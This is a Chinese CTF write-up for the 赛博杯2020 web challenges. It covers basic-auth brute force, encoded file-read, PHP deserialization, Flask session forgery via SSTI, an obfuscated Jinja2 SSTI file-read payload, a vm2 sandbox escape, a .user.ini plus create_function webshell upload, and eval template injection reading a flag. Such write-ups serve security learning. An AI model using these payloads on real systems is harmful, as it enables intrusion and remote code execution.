赛博杯2020WP web

尖尖的商店1

直接抓包修改钱数拿到flag

Easy-Baby-Signin

套娃题目,
1.先抓包。用bp弱口令爆破http认证。猜测用户名是admin。爆破得到密码为123456789。
2.查看页面源代码发现给出了图片的base64在这里插入图片描述因为jpg参数可控尝试解码。发现是2次base64和1次16进制转字符串来的。
于是尝试读取源码。把index.php经过1次字符串转16进制和2次base64之后传入jpg。在这里插入图片描述发现了熟悉的PD9直接base64解码得到index.php

<?php
/*
 do you know magicword.txt?
 */
error_reporting(E_ALL || ~E_NOTICE);


header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'."Hacked_by_whiskey".'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
	
	if(strpos($file,'test') == false)
	{
		$txt = base64_encode(file_get_contents($file));
		echo "<img src='data:image/gif;base64,".$txt."'></img>";
		echo "Can you find the flag file?";
	}
	else
	{
		echo "Not here!Try again!";
	}

	


?>

注释发现还存在magicword.txt,访问

<?php
#atest.php
#GOAL: get the secret;
   
class icanhear {var $mykey; var $myword;}

$magicword = unserialize($_GET['magicword']);

echo "just tell me the magicword\n";

$magicword->myword = "***********";

if ($magicword->myword === $magicword->mykey)
         echo "Sooooo close: ".$magicword->myword;
     else
         echo "Damn  it !";
         
?>

这是一道反序列化题目,需要我们自己构造序列化。题目GET到了一个magicword参数并将其反序列化
在这里插入图片描述

构造POC,将其传入magicword在这里插入图片描述访问这个网页
在这里插入图片描述给出了2部分flag,已知flag2的md5前六位的值是1024cc让我们找出flag2.
可以用python写一个脚本爆破

import hashlib
for i in range(1,10000000):
    res=hashlib.md5(str(i).encode()).hexdigest()
    if res[:6]=="1024cc":
        print(str(i))
        break

爆破得到flag2的值为7900588
flag{wa0_7900588_is_right}

尖尖的商店2.0

100点买的一部分源码:

@app.errorhandler(404)
def page_not_found(e):
    referrer = request.headers.get("Referer")

    if referrer is None:
        referrer = '/'
    if not valid_url(referrer):
        referrer = '/?error'

    html = '<html><head><meta http-equiv="Refresh" content="3;URL={}"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>'.format(
        referrer)

    return render_template_string(html), 404

依然是flask框架,这道题考点是flask session伪造
相关资料:https://www.cnblogs.com/zaqzzz/p/10243961.html
先ssti注入获取密钥
在这里插入图片描述在这里插入图片描述session前一部分base64解码得到
{“money”:“1000”}
应该是要伪造session脚本替换session改money
加密命令

py -3 flask_session_cookie_manager3.py decode -c eyJtb25leSI6IjEwMDAifQ.X2_fCA.BNcd6iLFjwXJRjMCqDwLPhEkxYc -s vlmalkdguv923rufkjdsa7823312e

解密命令

py -3 flask_session_cookie_manager3.py encode -t {'money':'10000000'} -s vlmalkdguv923rufkjdsa7823312e

注意没有空格,因为空格被坑了

ezflask

flask ssti 绕过
wendell学长的绕过思路:https://xz.aliyun.com/t/8029

py脚本把字符用过滤器表示出来

payload = '{%set pc = g|lower|list|first|urlencode|first%}{%set c=dict(c=1).keys()|reverse|first%}{%set udl=dict(a=pc,c=c).values()|join %}'
payload = ''
def get_alp(alp, goal):
    num = ord(alp)
    result = '{%set {goal}=dict(a={goal},c=udl%({num})).values()|join %}'.replace('{num}', str(num)).replace('{goal}', goal)
    return result
def get_word(des, goal):
#goal = 'ds2'
#des = '__globals__'
    result = ''
    for i in des:
        result += (get_alp(i, goal))
    return result
def main():
    # poc = "url_for.__globals__.__builtins__.open('/flag').read()"
    i = 0
    while(1):
        text = input('>')
        print('i'+str(i), end=':')
        print(get_word(text, 'i'+str(i)))
        i += 1
main()

最终payload:

http://127.0.0.1:19009/?name={%set pc = g|lower|list|first|urlencode|first%}{%set c=dict(c=1).keys()|reverse|first%}{%set udl=dict(a=pc,c=c).values()|join %}{%set ds=dict(a=ds,c=udl%(95)).values()|join %}{%set ds=dict(a=ds,c=udl% (95)).values()|join %}{%set ds=dict(a=ds,c=udl%(105)).values()|join %} {%set ds=dict(a=ds,c=udl%(110)).values()|join %}{%set ds=dict(a=ds,c=udl% (105)).values()|join %}{%set ds=dict(a=ds,c=udl%(116)).values()|join %} {%set ds=dict(a=ds,c=udl%(95)).values()|join %}{%set ds=dict(a=ds,c=udl% (95)).values()|join %}{%set ds2=dict(a=ds2,c=udl%(95)).values()|join %}{%set ds2=dict(a=ds2,c=udl%(95)).values()|join %}{%set ds2=dict(a=ds2,c=udl% (103)).values()|join %}{%set ds2=dict(a=ds2,c=udl%(108)).values()|join %} {%set ds2=dict(a=ds2,c=udl%(111)).values()|join %}{%set ds2=dict(a=ds2,c=udl%(98)).values()|join %}{%set ds2=dict(a=ds2,c=udl% (97)).values()|join %}{%set ds2=dict(a=ds2,c=udl%(108)).values()|join %} {%set ds2=dict(a=ds2,c=udl%(115)).values()|join %}{%set ds2=dict(a=ds2,c=udl%(95)).values()|join %}{%set ds2=dict(a=ds2,c=udl% (95)).values()|join %}{%set i0=dict(a=i0,c=udl%(47)).values()|join %}{%set i0=dict(a=i0,c=udl% (102)).values()|join %}{%set i0=dict(a=i0,c=udl%(108)).values()|join %} {%set i0=dict(a=i0,c=udl%(97)).values()|join %}{%set i0=dict(a=i0,c=udl% (103)).values()|join %}{%set i1=dict(a=i1,c=udl%(95)).values()|join %}{%set i1=dict(a=i1,c=udl% (95)).values()|join %}{%set i1=dict(a=i1,c=udl%(98)).values()|join %}{%set i1=dict(a=i1,c=udl%(117)).values()|join %}{%set i1=dict(a=i1,c=udl% (105)).values()|join %}{%set i1=dict(a=i1,c=udl%(108)).values()|join %} {%set i1=dict(a=i1,c=udl%(116)).values()|join %}{%set i1=dict(a=i1,c=udl% (105)).values()|join %}{%set i1=dict(a=i1,c=udl%(110)).values()|join %} {%set i1=dict(a=i1,c=udl%(115)).values()|join %}{%set i1=dict(a=i1,c=udl% (95)).values()|join %}{%set i1=dict(a=i1,c=udl%(95)).values()|join %}{%for k,v in (app|attr(ds)|attr(ds2)).items()%}{%if (k|string )==i1 %} {{v.open(i0).read()}}{%endif%}{%endfor%}

ezcalc

考点:正则绕过+vm逃逸
源码:

var express = require('express');
var router = express.Router();
const { VM } = require('vm2');


function safeEval(calc) {
  if (calc.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
    return null;
  }
  return new VM().run(calc);
}
router.get('/', function (req, res, next) {
  let result = '';
  if (req.query.calc) {
    let calc = req.query.calc;
    result = safeEval(calc);

  }
  else {
    result = '?calc=2-1'
  }

  res.render('index', { title: 'ezcalc', result: result });
});

module.exports = router;

这里要注意正则表达式,这次还是对正则表达式掌握不熟练。这个正则表达式可以使用Math.xxxxx(xxxx指的是任何单词)推荐一个学习正则的网站:https://regexr-cn.com/
所以可以获取到Math.constructor,获取两次后,就是 Function 对象,就可以可以任意代码执⾏

Hacked by V

1.根据源码可以知道后台目录是/login.php
可以根据题目给的弱口令进去。
2.在这里插入图片描述这里有个可以写入shell的点,我们点编辑,确认上传的时候抓包可以指定目录写入文件。这里我们要先确定什么类型的文件可以被写入。题目给出了源码。
在这里插入图片描述只允许上传这些后缀的文件。看到ini很容易联想到.user.ini文件,这个文件可以让一个指定文件变成php文件,但是前提是当前文件夹中存在一个php文件才可,因为连接webshell的时候是需要使用这个php文件的。我们上传一个.user.ini文件,里面写着auto_prepend_file=shell.htm 这样名为shell.htm的文件就会被php解析。
抓包改包在这里插入图片描述我们通过源码可以发现core文件夹里有很多php文件。于是我们在core里上传.user.ini和shell.htm
修改POST数据分别为

activepath=/template/../core&filename=.user.ini&content=auto_prepen d_file=shell.htm&_ajax=1
activepath=/template/../core&filename=shell.htm&content=<?php $fun = create_function('',$_POST['a']);$fun();?>&_ajax=1

在这里插入图片描述两个包都发送后连接shell
在这里插入图片描述这里要注意要连接其中一个php文件而不是shell.htm!
在这里插入图片描述

dangerous-function

题目就是dangerous-function,因此危险函数就是eval函数或者是system()函数,通过搜索可以找到源码中的eval函数。
相关代码片段: 再zzz_temple.php这个文件中解析if标签

function parserIfLabel( $zcontent ) {
		$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
		if ( preg_match_all( $pattern, $zcontent, $matches ) ) {
			$count = count( $matches[ 0 ] );
			for ( $i = 0; $i < $count; $i++ ) {
				$flag = '';
				$out_html = '';
				$ifstr = $matches[ 1 ][ $i ];
				$ifstr=danger_key($ifstr,1);
                if(strpos($ifstr,'=') !== false){
                   $arr= splits($ifstr,'=');
                    if($arr[0]=='' || $arr[1]==''){
                         error('很抱歉,模板中有错误的判断,请修正【'.$ifstr.'】');
                    }
                   $ifstr = str_replace( '=', '==', $ifstr );	
                }
				$ifstr = str_replace( '<>', '!=', $ifstr );
				$ifstr = str_replace( 'or', '||', $ifstr );
				$ifstr = str_replace( 'and', '&&', $ifstr );
				$ifstr = str_replace( 'mod', '%', $ifstr );
				$ifstr = str_replace( 'not', '!', $ifstr );
                if ( preg_match( '/\{|}/', $ifstr)) {    
                  error('很抱歉,模板中有错误的判断,请修正'.$ifstr);
                }else{
                  @eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
                }              
				
				if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) { // 判断是否存在else				
					switch ( $flag ) {
						case 'if': // 条件为真
							if ( isset( $matches2[ 1 ] ) ) {
								$out_html .= $matches2[ 1 ];
							}
							break;
						case 'else': // 条件为假
							if ( isset( $matches2[ 2 ] ) ) {
								$out_html .= $matches2[ 2 ];
							}
							break;
					}
				} elseif ( $flag == 'if' ) {
					$out_html .= $matches[ 2 ][ $i ];
				}
				// 无限极嵌套解析
				$pattern2 = '/\{if([0-9]):/';
				if ( preg_match( $pattern2, $out_html, $matches3 ) ) {
					$out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );
					$out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );
					$out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );
					$out_html = $this->parserIfLabel( $out_html );
				}
				// 执行替换
				$zcontent = str_replace( $matches[ 0 ][ $i ], $out_html, $zcontent );
			}
		}
		return $zcontent;
	}
{if:(eval_code)}相同结果{else}不相同结果{end if}

到这⾥应该能知道这是模板注⼊,⽽⻚⾯中只有搜索框可以注⼊ 这⾥主要⽤到动态函数 多次调试后可以得到 flag ⽅法应该很多

最终payload

 {if:var_dump(((strrev(stnetnoc_teg_elif)))((strrev(edoced_46esab)) (Li8uLi8uLi8uLi8uLi8uLi8uLi9mbGFn)))}
已标记关键词 清除标记
相关推荐
©️2020 CSDN 皮肤主题: 1024 设计师:白松林 返回首页